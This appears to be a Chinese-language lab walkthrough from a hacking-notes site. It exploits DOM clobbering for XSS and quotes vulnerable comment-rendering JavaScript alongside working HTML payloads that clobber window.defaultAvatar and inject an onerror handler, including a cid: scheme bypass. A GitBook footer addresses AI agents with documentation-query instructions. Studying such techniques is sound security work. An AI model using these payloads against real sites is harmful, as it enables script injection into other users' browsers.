> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/dom/dom-clobbering-xss.md).

# DOM 克隆劫持 XSS

### 利用 DOM Clobbering 实现 XSS

利用一个 DOM-clobbering 漏洞。评论功能允许“安全”的 HTML。目标是注入一个 HTML 片段，覆盖一个 DOM 变量（clobbering），并触发一次 XSS 执行（`alert()`).

<figure><img src="/files/39c85d5b48a819d255a821f3c196c86645f01820" alt=""><figcaption></figcaption></figure>

评论区域接受 HTML，并且某些元素会被返回（例如，一个 `<h1>` 解释器）。

<figure><img src="/files/aec3003632d081ccdff79c3e23c6e19422059cf1" alt="" width="539"><figcaption></figcaption></figure>

* 客户端脚本以 JSON 形式加载并显示恢复的评论。它使用 `DOMPurify.sanitize()` 来清理 `author` 和 `正文` 字段，但其他 DOM 操作仍然容易受到 clobbering 的影响。

```javascript
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(data) {
        return data.replace(/[<>'"]/g, function(c){
            return '&#' + c.charCodeAt(0) + ';';
        })
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
            let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

            let divImgContainer = document.createElement("div");
            divImgContainer.innerHTML = avatarImgHTML

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(divImgContainer);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};
```

* 代码创建了一个 `defaultAvatar` 对象，通过读取 `window.defaultAvatar` 如果存在； `defaultAvatar` 因此可以通过一个带有 `defaultAvatar` （clobbering）标识符的 DOM 元素来覆盖。
* 由于 `src` 的属性 `<img>` 是由 `defaultAvatar.avatar` 当 `comment.avatar` 缺失时，可以强制让一个 `defaultAvatar` 由攻击者控制的值来影响插入的值。
* 插入是通过 `divImgContainer.innerHTML = avatarImgHTML`完成的，这会触发对构建出的 HTML 字符串的解释。

{% code overflow="wrap" %}

```javascript
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
```

{% endcode %}

尝试强制 `defaultAvatar` 通过一个 `<a id=defaultAvatar>` 包含一个可能导致客户端错误的属性的元素（例如 `onerror=alert(0)`).

```html
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="0&quot;onerror=alert(0)>//">
```

这是由系统进行 URL 编码的

<figure><img src="/files/a8c2e575bc1515d53812e6d4642b991f626ea4f0" alt="" width="480"><figcaption></figcaption></figure>

<figure><img src="/files/87ff83c94ec9ea2fca6e1c8bc2ffbb0144ad08b6" alt=""><figcaption></figcaption></figure>

使用一个 Contouring 进行测试 `cid:` 方案，使该值不被编码：

```javascript
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(0)>//">
```

后者被解释

<figure><img src="/files/6bd54c118cffc6da43d0a1e1ffcbb1bfcc71880f" alt="" width="443"><figcaption></figcaption></figure>

<figure><img src="/files/9ed3f47f8f418a8dd2ebc8b9ea7d91f6360fe07e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/dom/dom-clobbering-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
